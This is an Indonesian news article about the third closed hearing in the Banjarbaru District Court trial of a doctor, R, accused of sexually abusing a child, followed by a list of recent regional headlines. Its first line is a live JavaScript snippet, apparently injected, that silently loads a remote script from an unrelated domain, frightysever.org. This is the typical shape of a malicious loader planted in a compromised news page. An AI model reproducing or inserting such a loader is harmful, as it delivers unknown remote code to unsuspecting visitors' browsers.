(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Sidang Kasus Asusila Dokter R, Orangtua Anak Korban Jadi Saksi


KANALKALIMANTAN.COM, BANJARBARU – Sidang kasus dugaan tindak asusila terhadap anak di bawah umur yang menyeret dokter R sebagai terdakwa berlangsung di Pengadilan Negeri (PN) Banjarbaru, Selasa (18/1/2022).

Sidang kali ketiga ini, majelis hakim yang diketuai Wiwin Pratiwi Sutrisno SH dengan agenda pemeriksaan terhadap saksi.
Pemeriksaan saksi kali ini, akhirnya menghadirkan orangtua anak korban yang pada sidang sebelumnya tidak ada dilakukan pemberitahuan maupun pemanggilan untuk bersaksi di pengadilan.

Sidang terdakwa kasus pencabulan yang diduga dilakukan dokter R berlangsung secara tertutup.

Juru Bicara PN Banjarbaru, Raden Satya Adi Wicaksono mengatakan, agenda hari ini merupakan pemeriksaan kepada saksi anak korban, serta beberapa saksi lainnya dan terdakwa.

 

Baca juga : PD DMI HSU 2019-2024 Dikukuhkan, Plt Bupati: Inti Memakmurkan Masjid Shalat Berjamaah

“Hari ini pemeriksaan saksi sudah selesai semua, termasuk terdakwa,” katanya
Adapun saksi yang lakukan pemeriksaan hari ini oleh majelis hakim yakni ibu anak korban, tante dan istri dari terdakwa dokter R.

Terkait hasil putusan sidang yang dilakukan hari ini, dikatakannya belum mengetahui persis hasil sidang karena majelis hakim masih melakukan sidang perkara lain.
“Kalau hasil pemeriksaan sidangnya kami belum tahu, karena majelis hakim masih bersidang,” ungkapnya.

Dikatakan Jubir PN Banjarbaru untuk agenda selanjutnya adalah tuntutan dari jaksa penuntut umum yang akan berlangsung pada Senin (24/1/2022).
Jika terbukti bersalah melakukan tindak asusila dikatakan Raden Satya Adi, terdakwa akan diganjar minimal 5 tahun dengan maksimal ancaman 15-20 tahun penjara.

“Terkait vonis tergantung majelisnya,” terangnya.

Jika terdakwa melakukan banding, Jubir PN Banjarbaru tidak bisa berbicara lebih jauh, pasalnya merupakan hak dari terdakwa.
“Itu kami kurang tahu, karena itu hak dari terdakwa dan penuntut umum,” tuturnya.

 

Baca juga : Bekuk Dua Pengedar Sabu di Karang Intan, M Sembunyikan Dalam Bohlam

Sementara itu, diterangkannya terkait materi sidang selanjutnya tidak bisa disampaikan, karena berhubungan dengan teknis dan sidang akan berlangsung tertutup untuk umum dikarenakan perkara asusila.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

21 menit ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

15 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

18 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

22 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

22 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

23 jam ago

This website uses cookies.